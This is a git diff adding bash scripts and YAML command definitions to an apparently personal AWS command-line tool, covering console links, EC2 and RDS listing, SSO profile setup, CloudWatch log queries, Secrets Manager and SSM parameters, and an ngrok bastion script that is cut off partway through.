[lex-runtime]="lexv2/home#bots" + [lightsail]="ls" + [logs]="cloudwatch/home#logsV2:" + [macie2]="macie" + [marketplace-catalog]="marketplace/home#/search!mpSearch/search" + [marketplace-entitlement]="marketplace" + [marketplacecommerceanalytics]="marketplace/home#/vendor-insights" + [mediapackage-vod]="mediapackagevod" + [mediastore-data]="mediastore" + [meteringmarketplace]="marketplace" + [mgh]="migrationhub" + [migrationhub-config]="migrationhub" + [mq]="amazon-mq" + [networkmanager]="networkmanager/home" + [opsworkscm]="opsworks" + [personalize]="personalize/home" + [personalize-events]="personalize/home" + [personalize-runtime]="personalize/home" + [pi]="rds/home#performance-insights" + [pinpoint]="pinpointv2" + [pinpoint-email]="pinpoint/home#/email-account-settings/overview" + [pinpoint-sms-voice]="pinpoint" + [qldb-session]="qldb" + [ram]="ram/home" + [rds-data]="rds/home#query-editor:" + [redshift-data]="redshiftv2/home#/query-editor:" + [resourcegroupstaggingapi]="resource-groups" + [route53domains]="route53/domains" + [s3control]="s3" + [sagemaker-a2i-runtime]="sagemaker/groundtruth#/a2i" + [sagemaker-runtime]="sagemaker" + [savingsplans]="costmanagement/home#/savings-plans/overview" + [schemas]="events/home#/schemas" + [sdb]="simpledb" + [service-quotas]="servicequotas" + [servicediscovery]="cloudmap" + [shield]="wafv2/shieldv2" + [sms]="mgn/home" + [snowball]="snowfamily" + [ssm]="systems-manager" + [sso]="singlesignon" + [sso-admin]="singlesignon" + [sso-oidc]="singlesignon" + [stepfunctions]="states" + [sts]="iam" + [swf]="swf/v2" + [translate]="translate/home" + [waf]="wafv2/homev2" + [waf-regional]="wafv2/homev2" + [wafv2]="wafv2/homev2" + [workdocs]="zocalo" + [workmailmessageflow]="workmail" + [xray]="xray/home" +) + +case "$service" in + "pricing") + firefox "https://calculator.aws" > /dev/null 2>&1 + exit + ;; + "mturk") + firefox "https://mturk.com" > /dev/null 2>&1 + exit + ;; + "quicksight") + firefox "quicksight.aws.amazon.com" > /dev/null 2>&1 + exit + ;; + *) + if [[ -v service_aliases["$service"] ]]; then + service_url="${base_aws_url}/${service_aliases[$service]}" + else + service_url="${base_aws_url}/${service}" + fi + ;; +esac + +aws_console --profile "$aws_profile" --region "$aws_region" --destination "$service_url" diff --git a/src/commands/aws/ec2/ec2_commands.yml b/src/commands/aws/ec2/ec2_commands.yml new file mode 100644 index 0000000..c79491b --- /dev/null +++ b/src/commands/aws/ec2/ec2_commands.yml @@ -0,0 +1,28 @@ +name: ec2 +help: EC2 commands +group: EC2 +expose: always +dependencies: + aws: Install the latest version following the instructions at 'https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html' + jq: Install using 'brew install jq' + +commands: + - name: list-instances + help: List all EC2 instances in the account + filters: + - profile_and_region_variables_set_with_flags + flags: + - import: src/components/aws/profile_flag.yml + - import: src/components/aws/region_flag.yml + - long: --detailed + help: Output the list of all instances in the full detailed format + conflicts: [--filter] + - long: --filter + short: -f + arg: filter + help: Filter the output to only show the specified information + repeatable: true + unique: true + allowed: + import: src/components/aws/ec2/allowed_list_instance_filters.yml + conflicts: [--detailed] diff --git a/src/commands/aws/ec2/list-instances.sh b/src/commands/aws/ec2/list-instances.sh new file mode 100644 index 0000000..002a80c --- /dev/null +++ b/src/commands/aws/ec2/list-instances.sh @@ -0,0 +1,49 @@ +# shellcheck disable=SC2155 +declare aws_region="$(get-aws-region)" +declare aws_profile="$(get-aws-profile)" +# shellcheck disable=SC2154 +declare detailed_format="${args[--detailed]}" +eval "filters=(${args[--filter]:-})" + +validate-or-refresh-aws-auth +spinny-start + +# shellcheck disable=SC2155 +declare instances=$(aws ec2 describe-instances --profile "$aws_profile" --region "$aws_region") +spinny-stop + +# Must be ordered by non-nested fields first +declare -A instance_field_mappings=( + [instance-id]='InstanceId' + [instance-type]='InstanceType' + [private-dns-name]='PrivateDnsName' + [private-ip-address]='PrivateIpAddress' + [public-dns-name]='PublicDnsName' + [subnet-id]='SubnetId' + [vpc-id]='VpcId' + [tags]='Tags' + [launch-time]='LaunchTime' + [architecture]='Architecture' + [instance-profile]='IamInstanceProfile' + [security-groups]='SecurityGroups' + [availability-zone]='"AvailabilityZone": .Placement.AvailabilityZone' + [state]='"State": .State.Name' + [os]='"OS": .PlatformDetails' +) + +if [[ $detailed_format == 1 ]]; then + jq . <<< "$instances" +elif [[ -v filters[@] ]]; then + declare object_def="" + + for filter_name in "${!instance_field_mappings[@]}"; do + # shellcheck disable=SC2154 + if printf '%s\0' "${filters[@]}" | grep -Fxqz -- "$filter_name"; then + object_def+="${instance_field_mappings[$filter_name]}, " + fi + done + + jq '.Reservations[].Instances[] | { '"$object_def"' }' <<< "$instances" +else + jq '.Reservations[].Instances[] | pick(.InstanceId, .PrivateDnsName, .PrivateIpAdress, .PublicDnsName, .SubnetId, .VpcId, .Tags)' <<< "$instances" +fi diff --git a/src/commands/aws/export-sso-creds.sh b/src/commands/aws/export-sso-creds.sh new file mode 100644 index 0000000..bc404c4 --- /dev/null +++ b/src/commands/aws/export-sso-creds.sh @@ -0,0 +1,7 @@ +# shellcheck disable=SC2155 +declare aws_profile="$(get-aws-profile)" +declare aws_region="$(get-aws-region)" + +validate-or-refresh-aws-auth + +bash -c "eval \"\$(aws --profile $aws_profile --region $aws_region configure export-credentials --format env)\"; export AWS_REGION=$aws_region; exec bash" diff --git a/src/commands/aws/generate-sso-profiles.sh b/src/commands/aws/generate-sso-profiles.sh new file mode 100644 index 0000000..832383b --- /dev/null +++ b/src/commands/aws/generate-sso-profiles.sh @@ -0,0 +1,123 @@ +# shellcheck disable=SC2154 +declare aws_region="${args[--default-cli-region]}" +declare sso_region="${args[--sso-region]}" +declare sso_start_url="${args[--sso-start-url]}" +declare backup="${args[--backup]}" + +set -e + +if [[ -z $aws_region ]]; then + aws_region="$sso_region" +fi + +export AWS_REGION=$aws_region + +write-profile-to-config() { + profileName=$1 + ssoStartUrl=$2 + ssoRegion=$3 + ssoAccountId=$4 + ssoRoleName=$5 + defaultRegion=$6 + + blue_bold "Creating profile $profileName" + + cat <<-EOF >> "$HOME"/.aws/config + [profile $profileName] + sso_start_url = $ssoStartUrl + sso_region = $ssoRegion + sso_account_id = $ssoAccountId + sso_role_name = $ssoRoleName + region = $defaultRegion + EOF +} + +if [[ $backup == 1 ]]; then + yellow "Backing up old AWS config" + mv "$HOME"/.aws/config "$HOME"/.aws/config.bak +fi + +login() { + ssoLoggedIn=$(find "$HOME/.aws/sso/cache" -type f ! -name "botocore*" -exec jq -r '.accessToken | select(. != null)' {} \; | wc -l) + if [[ $ssoLoggedIn == 0 || ! -f "$HOME"/.aws/config ]]; then + yellow_bold "You must first be logged into AWS with at least one profile. Logging in now..." + [[ -f "$HOME"/.aws/config ]] || touch "$HOME"/.aws/config + + export AWS_PROFILE='' + export AWS_REGION='' + /usr/bin/expect<<-EOF + set force_conservative 1 + set timeout 120 + match_max 100000 + spawn aws configure sso + expect "SSO session name (Recommended):" + send -- "session\r" + expect "SSO start URL" + send -- "$sso_start_url\\r" + expect "SSO region" + send -- "$sso_region\r" + expect { + "SSO registration scopes" { + send "sso:account:access\\r" + exp_continue + } + -re {(.*)accounts available to you(.*)} { + send "\\r" + exp_continue + } + -re {(.*)roles available to you(.*)} { + send "\\r" + exp_continue + } + "CLI default client Region" + } + send "\r\r\r\r" + expect eof + EOF + elif ! (aws sts get-caller-identity > /dev/null 2>&1); then + red_bold "You must be logged into AWS before running this script." + yellow "Logging in via SSO. Follow the steps in the opened browser to log in." + + profiles=$(awk '/\[profile*/ { print substr($2, 1, length($2)-1); }' ~/.aws/config | tail -1) + + if ! aws sso login --profile "${profiles[0]}"; then + red_bold "Unable to login. Please try again." + exit 1 + fi + + green "Logged in!" + fi + + blue "Fetching SSO access token" + profiles=$(awk '/\[profile*/ { print substr($2, 1, length($2)-1); }' ~/.aws/config | tail -1) + # shellcheck disable=SC2227 + ACCESS_TOKEN=$(find "$HOME/.aws/sso/cache" -type f ! -name 'botocore*' -exec jq -r '.accessToken | select(. != null)' {} 2>/dev/null \; | tail -1) +} + +login + +if ! (aws sso list-accounts --profile "${profiles[0]}" --region "$aws_region" --access-token "$ACCESS_TOKEN" --output json > /dev/null 2>&1); then + red "Unable to use existing SSO access token. Wiping tokens and generating new tokens..." + rm "$HOME"/.aws/sso/cache/*.json + login +fi + +aws sso list-accounts --profile "${profiles[0]}" --region "$aws_region" --access-token "$ACCESS_TOKEN" --output json | jq '.accountList[]' -rc | while read -r account; do + declare accountId + declare accountName + accountId="$(echo "$account" | jq -rc '.accountId')" + accountName="$(echo "$account" | jq -rc '.accountName | ascii_downcase | gsub(" "; "-")')" + + aws sso list-account-roles --profile "${profiles[0]}" --region "$aws_region" --access-token "$ACCESS_TOKEN" --output json --account-id "$accountId" | jq '.roleList[].roleName' -rc | while read -r roleName; do + declare profileName + profileName="$accountName-$roleName" + + if ! (grep -q "$profileName" ~/.aws/config); then + blue "Creating profiles for account $accountName" + write-profile-to-config "$accountName-$roleName" "$sso_start_url" "$sso_region" "$accountId" "$roleName" "$aws_region" + fi + done +done + +green_bold "Successfully generated profiles from AWS SSO!" + diff --git a/src/commands/aws/login.sh b/src/commands/aws/login.sh new file mode 100644 index 0000000..d1716f8 --- /dev/null +++ b/src/commands/aws/login.sh @@ -0,0 +1,15 @@ +# shellcheck disable=SC2155 +declare aws_profile="$(get-aws-profile)" +declare aws_region="$(get-aws-region)" + +validate-or-refresh-aws-auth + +if ( grep "AWS_PROFILE" ~/.bashrc > /dev/null 2>&1 ); then + sed -i "/^AWS_PROFILE=/c\export AWS_PROFILE=$aws_profile" ~/.bashrc +fi + +if ( grep "AWS_REGION" ~/.bashrc > /dev/null 2>&1 ); then + sed -i "/^AWS_REGION=/c\export AWS_REGION=$aws_region" ~/.bashrc +fi + +bash -c "export AWS_PROFILE=$aws_profile; export AWS_REGION=$aws_region; eval \"\$(aws configure export-credentials --format env --profile $aws_profile)\"; exec bash" diff --git a/src/commands/aws/logs/list-log-groups.sh b/src/commands/aws/logs/list-log-groups.sh new file mode 100644 index 0000000..1bd80ca --- /dev/null +++ b/src/commands/aws/logs/list-log-groups.sh @@ -0,0 +1,15 @@ +# shellcheck disable=SC2155 +declare aws_region="$(get-aws-region)" +declare aws_profile="$(get-aws-profile)" +# shellcheck disable=SC2154 +declare detailed_format="${args[--detailed]}" + +validate-or-refresh-aws-auth + +declare log_groups=$(aws logs describe-log-groups --profile "$aws_profile" --region "$aws_region") + +if [[ $detailed_format == 1 ]]; then + jq . <<< "$log_groups" +else + jq -r '.logGroups[].logGroupName' <<< "$log_groups" +fi diff --git a/src/commands/aws/logs/logs_commands.yml b/src/commands/aws/logs/logs_commands.yml new file mode 100644 index 0000000..6e43850 --- /dev/null +++ b/src/commands/aws/logs/logs_commands.yml @@ -0,0 +1,77 @@ +name: logs +help: AWS Logs commands +group: Logs +expose: always +dependencies: + aws: Install the latest version following the instructions at 'https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html' + lnav: Install with 'brew install lnav' + unbuffer: Install with 'brew install expect' + +commands: + - name: list-log-groups + help: List all of the log groups in CloudWatch + filters: + - profile_and_region_variables_set_with_flags + flags: + - import: src/components/aws/profile_flag.yml + - import: src/components/aws/region_flag.yml + - long: --detailed + help: Output the list of all CloudWatch log groups in the full detailed format + + - name: tail-log-group + help: Tails the specified CloudWatch log group + dependencies: + lnav: Install with 'brew install lnav' + unbuffer: Install with 'brew install expect' + args: + - name: log-group + required: true + help: The name of the log group to tail + filters: + - profile_and_region_variables_set_with_flags + flags: + - import: src/components/aws/profile_flag.yml + - import: src/components/aws/region_flag.yml + - long: --since + short: -s + arg: since + default: 10m + help: The time to start tailing the log group from + validate: relative_since_time_format + completions: + - $(for e in s m h d w; do echo "${2//[!0-9]/}${e}"; done) + - long: --verbose + short: -v + help: Show verbose log output + - long: --stdout + help: Show the log output in stdout + examples: + - dtools aws tail-log-group /aws/lambda/test-lambda-1 + + - name: query-log-groups + help: Query one or more log groups with the given query string + filters: + - profile_and_region_variables_set_with_flags + args: + - name: query + help: The query string to query the log groups for + default: fields @timestamp, @message | sort @timestamp desc + flags: + - import: src/components/aws/profile_flag.yml + - import: src/components/aws/region_flag.yml + - long: --log-group-name + short: -l + help: The names of a log group to query for + repeatable: true + arg: log_group_name + required: true + - long: --start-time + help: The start time for the query (ISO 8601) + arg: start_time + required: true + - long: --end-time + help: The end time for the query (ISO 8601) + arg: end_time + required: true + examples: + - dtools aws logs query-log-groups 'correlationId' --start-time '2025-03-18T15:00:00Z' --end-time '2025-03-18T16:00:00Z' --log-group-name caerus-api-log-group -l /aws/lambda/revisit-prod-revisit-core-historical-schedules-s3-writer-lambda diff --git a/src/commands/aws/logs/query-log-groups.sh b/src/commands/aws/logs/query-log-groups.sh new file mode 100644 index 0000000..8981663 --- /dev/null +++ b/src/commands/aws/logs/query-log-groups.sh @@ -0,0 +1,43 @@ +# shellcheck disable=SC2155 +export aws_region="$(get-aws-region)" +# shellcheck disable=SC2155 +export aws_profile="$(get-aws-profile)" +# shellcheck disable=SC2154 +export query="${args[query]}" +# shellcheck disable=SC2154 +export start_time="${args[--start-time]}" +# shellcheck disable=SC2154 +export end_time="${args[--end-time]}" +eval "log_group_names=(${args[--log-group-name]})" +export log_file=$(mktemp) +trap "rm -f $log_file" EXIT + +validate-or-refresh-aws-auth + +write-logs() { + log_group="$1" + query_id="$(aws logs start-query \ + --log-group-names "$log_group" \ + --start-time "$(date -d "$start_time" +"%s%3N")" \ + --end-time "$(date -d "$end_time" +"%s%3N")" \ + --query-string "$query" \ + --profile "$aws_profile" \ + --region "$aws_region" \ + --output json | jq -r '.queryId // empty')" + + if [[ -z $query_id ]]; then + red "Unable to start query for log group: '$log_group'" + exit 1 + fi + + until [[ "$(aws logs get-query-results --query-id "$query_id" --profile "$aws_profile" --region "$aws_region" --query status --output text)" == "Complete" ]]; do + sleep 1 + done + + aws logs get-query-results --query-id "$query_id" --profile "$aws_profile" --region "$aws_region" | tr -d '\000-\037' | jq -r --arg log_group "$log_group" '.results[] | { "timestamp": (.[] | select(.field == "@timestamp") | .value), "message": (.[] | select(.field == "@message") | .value), "logGroup": $log_group }' >> "$log_file" +} +export -f write-logs + +parallel -j8 write-logs {} ::: ${log_group_names[*]} + +jq -rs '. | sort_by(.timestamp) | map("\(.timestamp) \(.logGroup) \(.message)")[]' "$log_file" | sed '/^$/d' diff --git a/src/commands/aws/logs/tail-log-group.sh b/src/commands/aws/logs/tail-log-group.sh new file mode 100644 index 0000000..95a04ca --- /dev/null +++ b/src/commands/aws/logs/tail-log-group.sh @@ -0,0 +1,31 @@ +# shellcheck disable=SC2155 +declare aws_profile="$(get-aws-profile)" +declare aws_region="$(get-aws-region)" +declare temp_log_file="$(mktemp)" +set -e +# shellcheck disable=SC2064 +# 'kill -- -$$' also kills the entire process group whose ID is $$ +# So this means that this will also kill all subprocesses started by +# this script +trap "rm -f $temp_log_file && kill -- -$$" EXIT + +validate-or-refresh-aws-auth + +# shellcheck disable=SC2154 +unbuffer aws --profile "$aws_profile" --region "$aws_region" logs tail "${args[log-group]}" --follow --format short --no-cli-auto-prompt --since "${args[--since]}" >> "$temp_log_file" & + +if [[ ${args[--verbose]} == 1 ]]; then + if [[ ${args[--stdout]} == 1 ]]; then + tail -f "$temp_log_file" + else + lnav "$temp_log_file" + fi +elif [[ ${args[--stdout]} == 1 ]]; then + tail -f "$temp_log_file" |\ + awk '{$1=""; gsub(/^[ \t]+/, "", $0); if ($0 !~ /^END|^REPORT|^START/) { print }}' +else + tail -f "$temp_log_file" |\ + awk '{$1=""; gsub(/^[ \t]+/, "", $0); if ($0 !~ /^END|^REPORT|^START/) { print }}' |\ + lnav +fi + diff --git a/src/commands/aws/profile.sh b/src/commands/aws/profile.sh new file mode 100644 index 0000000..c30c563 --- /dev/null +++ b/src/commands/aws/profile.sh @@ -0,0 +1,11 @@ +set-aws-profile() { + if ( grep -q "AWS_PROFILE" ~/.bashrc ); then + sed -i "/^AWS_PROFILE=/c\export AWS_PROFILE=$1" ~/.bashrc + fi + + bash -c "export AWS_PROFILE=$1; exec bash" +} + +declare profile +# shellcheck disable=SC2154 +set-aws-profile "${args[profile]}" diff --git a/src/commands/aws/rds/fetch-db-connection-details.sh b/src/commands/aws/rds/fetch-db-connection-details.sh new file mode 100644 index 0000000..7862d9a --- /dev/null +++ b/src/commands/aws/rds/fetch-db-connection-details.sh @@ -0,0 +1,16 @@ +# shellcheck disable=SC2155 +declare aws_region="$(get-aws-region)" +# shellcheck disable=SC2155 +declare aws_profile="$(get-aws-profile)" +# shellcheck disable=SC2154 +declare db_instance="${args[db_instance]}" + +validate-or-refresh-aws-auth + +spinny-start +aws --profile "$aws_profile" \ + --region "$aws_region" \ + rds describe-db-instances \ + --query DBInstances[] |\ + jq -r '.[] | select(.DBInstanceIdentifier == "'"$db_instance"'") | .Endpoint | {"address": .Address, "port": .Port}' +spinny-stop diff --git a/src/commands/aws/rds/list-db-instances.sh b/src/commands/aws/rds/list-db-instances.sh new file mode 100644 index 0000000..10c0c8c --- /dev/null +++ b/src/commands/aws/rds/list-db-instances.sh @@ -0,0 +1,14 @@ +# shellcheck disable=SC2155 +declare aws_region="$(get-aws-region)" +# shellcheck disable=SC2155 +declare aws_profile="$(get-aws-profile)" + +validate-or-refresh-aws-auth + +spinny-start +aws --profile "$aws_profile" \ + --region "$aws_region" \ + rds describe-db-instances \ + --query 'DBInstances[].DBInstanceIdentifier' \ + --output text +spinny-stop diff --git a/src/commands/aws/rds/rds_commands.yml b/src/commands/aws/rds/rds_commands.yml new file mode 100644 index 0000000..178fd2a --- /dev/null +++ b/src/commands/aws/rds/rds_commands.yml @@ -0,0 +1,28 @@ +name: rds +help: RDS commands +group: RDS +expose: always +dependencies: + aws: Install the latest version following the instructions at 'https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html' + jq: Install with 'brew install jq' + +commands: + - name: list-db-instances + help: List all RDS DB instances for the given account by their name + filters: + - profile_and_region_variables_set_with_flags + flags: + - import: src/components/aws/profile_flag.yml + - import: src/components/aws/region_flag.yml + + - name: fetch-db-connection-details + help: Fetch the connection details for the given RDS DB instance + filters: + - profile_and_region_variables_set_with_flags + flags: + - import: src/components/aws/profile_flag.yml + - import: src/components/aws/region_flag.yml + args: + - name: db_instance + required: true + help: The RDS DB instance name diff --git a/src/commands/aws/region.sh b/src/commands/aws/region.sh new file mode 100644 index 0000000..dbf8783 --- /dev/null +++ b/src/commands/aws/region.sh @@ -0,0 +1,8 @@ +declare region +# shellcheck disable=SC2154 +region="${args[region]}" +if ( grep -q "AWS_REGION" ~/.bashrc ); then + sed -i "/^AWS_REGION=/c\export AWS_REGION=$region" ~/.bashrc +fi + +bash -c "export AWS_REGION=$region; exec bash" diff --git a/src/commands/aws/secretsmanager/create-secret.sh b/src/commands/aws/secretsmanager/create-secret.sh new file mode 100644 index 0000000..30ecd42 --- /dev/null +++ b/src/commands/aws/secretsmanager/create-secret.sh @@ -0,0 +1,10 @@ +# shellcheck disable=SC2155 +declare aws_region="$(get-aws-region)" +declare aws_profile="$(get-aws-profile)" +# shellcheck disable=SC2154 +declare secret_name="${args[--name]}" +declare secret_string="${args[--secret-string]}" + +validate-or-refresh-aws-auth + +aws secretsmanager create-secret --name "$secret_name" --secret-string "$secret_string" --profile "$aws_profile" --region "$aws_region" diff --git a/src/commands/aws/secretsmanager/list-secrets.sh b/src/commands/aws/secretsmanager/list-secrets.sh new file mode 100644 index 0000000..d33ca43 --- /dev/null +++ b/src/commands/aws/secretsmanager/list-secrets.sh @@ -0,0 +1,16 @@ +# shellcheck disable=SC2155 +declare aws_region="$(get-aws-region)" +declare aws_profile="$(get-aws-profile)" +# shellcheck disable=SC2154 +declare detailed_format="${args[--detailed]}" + +validate-or-refresh-aws-auth + +# shellcheck disable=SC2155 +declare secrets=$(aws secretsmanager list-secrets --profile "$aws_profile" --region "$aws_region") + +if [[ $detailed_format == 1 ]]; then + jq . <<< "$secrets" +else + jq -r '.SecretList[].Name' <<< "$secrets" +fi diff --git a/src/commands/aws/secretsmanager/secretsmanager_commands.yml b/src/commands/aws/secretsmanager/secretsmanager_commands.yml new file mode 100644 index 0000000..7734793 --- /dev/null +++ b/src/commands/aws/secretsmanager/secretsmanager_commands.yml @@ -0,0 +1,48 @@ +name: secretsmanager +help: Secrets Manager commands +group: Secrets Manager +expose: always +dependencies: + aws: Install the latest version following the instructions at 'https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html' + jq: Install using 'brew install jq' + +commands: + - name: list-secrets + help: List all AWS Secrets Manager secrets + filters: + - profile_and_region_variables_set_with_flags + flags: + - import: src/components/aws/profile_flag.yml + - import: src/components/aws/region_flag.yml + - long: --detailed + help: Output the list of all secrets in the detailed format + + - name: show-secret + help: Show the secret value for the specified secret + args: + - name: secret_id + required: true + help: The secret ID for which the value needs to be displayed + filters: + - profile_and_region_variables_set_with_flags + flags: + - import: src/components/aws/profile_flag.yml + - import: src/components/aws/region_flag.yml + - long: --detailed + help: Output the secret value in detailed format + + - name: create-secret + help: Create a new secret in Secrets Manager + filters: + - profile_and_region_variables_set_with_flags + flags: + - import: src/components/aws/profile_flag.yml + - import: src/components/aws/region_flag.yml + - long: --name + help: Name for the new secret + required: true + arg: name + - long: --secret-string + help: The secret string to be stored + required: true + arg: secret_string diff --git a/src/commands/aws/secretsmanager/show-secret.sh b/src/commands/aws/secretsmanager/show-secret.sh new file mode 100644 index 0000000..d1df17e --- /dev/null +++ b/src/commands/aws/secretsmanager/show-secret.sh @@ -0,0 +1,16 @@ +# shellcheck disable=SC2155 +declare aws_region="$(get-aws-region)" +declare aws_profile="$(get-aws-profile)" +# shellcheck disable=SC2154 +declare detailed_format="${args[--detailed]}" +declare secret_id="${args[secret_id]}" + +validate-or-refresh-aws-auth + +declare secret_value=$(aws secretsmanager get-secret-value --secret-id "$secret_id" --profile "$aws_profile" --region "$aws_region") + +if [[ $detailed_format == 1 ]]; then + jq . <<< "$secret_value" +else + jq '.SecretString' <<< "$secret_value" | sed 's|\\"|"|g' | sed -e 's/"{/{/' -e 's/}"/}/' | jq +fi diff --git a/src/commands/aws/shell.sh b/src/commands/aws/shell.sh new file mode 100644 index 0000000..3c5d1f4 --- /dev/null +++ b/src/commands/aws/shell.sh @@ -0,0 +1 @@ +aws --cli-auto-prompt diff --git a/src/commands/aws/ssm/create-parameter.sh b/src/commands/aws/ssm/create-parameter.sh new file mode 100644 index 0000000..d44dfc8 --- /dev/null +++ b/src/commands/aws/ssm/create-parameter.sh @@ -0,0 +1,10 @@ +# shellcheck disable=SC2155 +declare aws_region="$(get-aws-region)" +declare aws_profile="$(get-aws-profile)" +# shellcheck disable=SC2154 +declare name="${args[--name]}" +declare value="${args[--value]}" + +validate-or-refresh-aws-auth + +aws ssm put-parameter --name "$name" --value "$value" --type String --profile "$aws_profile" --region "$aws_region" diff --git a/src/commands/aws/ssm/delete-parameter.sh b/src/commands/aws/ssm/delete-parameter.sh new file mode 100644 index 0000000..bbe7a37 --- /dev/null +++ b/src/commands/aws/ssm/delete-parameter.sh @@ -0,0 +1,9 @@ +# shellcheck disable=SC2155 +declare aws_region="$(get-aws-region)" +declare aws_profile="$(get-aws-profile)" +# shellcheck disable=SC2154 +declare parameter_name="${args[parameter_name]}" + +validate-or-refresh-aws-auth + +aws ssm delete-parameter --name "$parameter_name" --profile "$aws_profile" --region "$aws_region" diff --git a/src/commands/aws/ssm/get-parameter.sh b/src/commands/aws/ssm/get-parameter.sh new file mode 100644 index 0000000..36c4e3d --- /dev/null +++ b/src/commands/aws/ssm/get-parameter.sh @@ -0,0 +1,16 @@ +# shellcheck disable=SC2155 +declare aws_region="$(get-aws-region)" +declare aws_profile="$(get-aws-profile)" +# shellcheck disable=SC2154 +declare detailed_format="${args[--detailed]}" +declare parameter_name="${args[parameter_name]}" + +validate-or-refresh-aws-auth + +declare parameter_value=$(aws ssm get-parameter --name "$parameter_name" --profile "$aws_profile" --region "$aws_region") + +if [[ $detailed_format == 1 ]]; then + jq . <<< "$parameter_value" +else + jq '.Parameter.Value' <<< "$parameter_value" | tr -d '"' +fi diff --git a/src/commands/aws/ssm/list-parameters.sh b/src/commands/aws/ssm/list-parameters.sh new file mode 100644 index 0000000..afde31b --- /dev/null +++ b/src/commands/aws/ssm/list-parameters.sh @@ -0,0 +1,16 @@ +# shellcheck disable=SC2155 +declare aws_region="$(get-aws-region)" +declare aws_profile="$(get-aws-profile)" +# shellcheck disable=SC2154 +declare detailed_format="${args[--detailed]}" + +validate-or-refresh-aws-auth + +# shellcheck disable=SC2155 +declare parameters=$(aws ssm describe-parameters --profile "$aws_profile" --region "$aws_region") + +if [[ $detailed_format == 1 ]]; then + jq . <<< "$parameters" +else + jq -r '.Parameters[].Name' <<< "$parameters" +fi diff --git a/src/commands/aws/ssm/ssm_commands.yml b/src/commands/aws/ssm/ssm_commands.yml new file mode 100644 index 0000000..fc5699f --- /dev/null +++ b/src/commands/aws/ssm/ssm_commands.yml @@ -0,0 +1,137 @@ +name: ssm +help: SSM commands +group: SSM +expose: always +dependencies: + aws: Install the latest version following the instructions at 'https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html' + jq: Install using 'brew install jq' + +commands: + - name: start-port-forwarding + help: Use SSM to connect to an EC2 instance and forward a local port to the remote machine + args: + - name: instance-id + help: The ID of the EC2 instance to connect to + required: true + filters: + - profile_and_region_variables_set_with_flags + flags: + - import: src/components/aws/profile_flag.yml + - import: src/components/aws/region_flag.yml + - long: --remote-port + help: The port number of the server on the EC2 instance + arg: remote-port + default: "80" + validate: aws_ssm_port_forwarding_number + - long: --local-port + help: The port number on the local machine to forward traffic to. An open port is chosen at run-time if not provided. + arg: local-port + default: "0" + validate: aws_ssm_port_forwarding_number + - long: --host + help: Hostname or IP address of the destination server + arg: host + default: localhost + validate: aws_ssm_port_forwarding_host + examples: + - dtools aws start-port-forwarding i-0892eeaed80a5b00b --remote-port 5432 --local-port 5432 --host prod-postgres.ctm8i4qgknv3.us-east-1.rds.amazonaws.com --profile prod --region us-east-1 + + - name: start-ngrok-bastion-instance + help: Start an EC2 instance to act as a bastion host for ngrok + dependencies: + jq: Install with 'brew install jq' + filters: + - profile_and_region_variables_set_with_flags + flags: + - import: src/components/aws/profile_flag.yml + - import: src/components/aws/region_flag.yml + - long: --hostname + help: | + The hostname to forward connections to. + This will be hostnames like the ones that are only accessible via AWS ECS Service Discovery (e.g. api.caerus.local) + required: true + - long: --subnet-id + help: The subnet ID that the instance is to be deployed into + required: true + - long: --port + help: The port on the destination hostname to forward connections to + arg: port + default: "8080" + - long: --ngrok-url + short: -u + arg: ngrok_url + help: The ngrok URL to connect to + required: true + - long: --ngrok-auth-token + short: -a + arg: ngrok_auth_token + help: The ngrok authentication token + required: true + + - name: list-parameters + help: List all AWS SSM Parameter Store parameters + filters: + - profile_and_region_variables_set_with_flags + flags: + - import: src/components/aws/profile_flag.yml + - import: src/components/aws/region_flag.yml + - long: --detailed + help: Output the list of all parameters in the detailed format + + - name: get-parameter + help: Get the value of an AWS SSM Parameter Store parameter + args: + - name: parameter_name + required: true + help: The name of the parameter to retrieve + filters: + - profile_and_region_variables_set_with_flags + flags: + - import: src/components/aws/profile_flag.yml + - import: src/components/aws/region_flag.yml + - long: --detailed + help: Output the parameter value in detailed format + + - name: create-parameter + help: Create a new parameter in AWS SSM Parameter Store + filters: + - profile_and_region_variables_set_with_flags + flags: + - import: src/components/aws/profile_flag.yml + - import: src/components/aws/region_flag.yml + - long: --name + help: Name for the new parameter + required: true + arg: name + - long: --value + help: The value of the parameter to be stored + required: true + arg: value + + - name: update-parameter + help: Update an existing parameter in AWS SSM Parameter Store (Will create a new parameter if it does not exist) + filters: + - profile_and_region_variables_set_with_flags + flags: + - import: src/components/aws/profile_flag.yml + - import: src/components/aws/region_flag.yml + - long: --name + help: Name of the parameter to update + required: true + arg: name + - long: --value + help: The value of the parameter to be stored + required: true + arg: value + + - name: delete-parameter + help: Delete a parameter from AWS SSM Parameter Store + filters: + - profile_and_region_variables_set_with_flags + flags: + - import: src/components/aws/profile_flag.yml + - import: src/components/aws/region_flag.yml + args: + - name: parameter_name + required: true + help: The name of the parameter to delete diff --git a/src/commands/aws/ssm/start-ngrok-bastion-instance.sh b/src/commands/aws/ssm/start-ngrok-bastion-instance.sh new file mode 100644 index 0000000..4426ded --- /dev/null +++ b/src/commands/aws/ssm/start-ngrok-bastion-instance.sh @@ -0,0 +1,108 @@ +set -e +# shellcheck disable=SC2155 +declare aws_profile="$(get-aws-profile)" +# shellcheck disable=SC2155 +declare aws_region="$(get-aws-region)" +# shellcheck disable=SC2154 +declare subnet_id="${args[--subnet-id]}" +declare hostname="${args[--hostname]}" +declare port="${args[--port]}" +declare ngrok_url="${args[--ngrok-url]}" +declare ngrok_auth_token="${args[--ngrok-auth-token]}" + +validate-or-refresh-aws-auth + +cleanup() { + if [[ -n "$instance_id" ]]; then + yellow "Terminating the EC2 instance..." + aws --profile "$aws_profile" --region "$aws_region" ec2 terminate-instances --instance-ids "$instance_id" + fi +} + +trap "cleanup" EXIT + +cyan "Ensuring the AmazonSSMRoleForInstancesQuickSetup role exists..." +if ! aws --profile "$aws_profile" --region "$aws_region" iam get-role --role-name AmazonSSMRoleForInstancesQuickSetup > /dev/null 2>&1; then + yellow "Creating the AmazonSSMRoleForInstancesQuickSetup role..." + aws --profile "$aws_profile" --region "$aws_region" iam create-role \ + --role-name AmazonSSMRoleForInstancesQuickSetup \ + --assume-role-policy-document '{"Version": "2012-10-17", "Statement": [{"Effect": "Allow", "Principal": {"Service": "ec2.amazonaws.com"}, "Action": "sts:AssumeRole"}]}' \ + > /dev/null + + 